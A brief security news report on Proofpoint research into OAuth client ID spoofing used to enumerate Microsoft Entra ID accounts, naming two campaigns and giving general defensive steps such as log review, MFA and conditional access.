ATTACKERS are exploiting a technique called OAuth client ID spoofing to silently enumerate Microsoft Entra ID accounts, according to Proofpoint research that shows the method works without a successful sign‑in and leaves little trace in standard logs.
The spoofing works by fabricating OAuth client IDs that Microsoft’s identity platform accepts, which results in authentication responses that contain blank application name fields and specific error codes that attackers interpret as valid account indicators.
Proofpoint identified two separate campaigns, labelled UNK_pyreq2323 and UNK_OutFlareAZ, leveraging this approach across thousands of tenants and affecting more than three million user accounts.
Because the logs often show normal looking entries with empty application descriptors, security teams may miss the activity unless they specifically look for those blanks or correlate the error codes with credential verification attempts.
Defenders should review sign‑in and audit logs for authentication events where the application name is absent and treat the associated error codes as potential signs of credential probing, while also ensuring that only registered OAuth clients are allowed to request tokens.
Additional steps include enforcing multi‑factor authentication, applying conditional access policies that block legacy authentication, and updating detection rules to flag the unusual error patterns linked to the spoofing technique.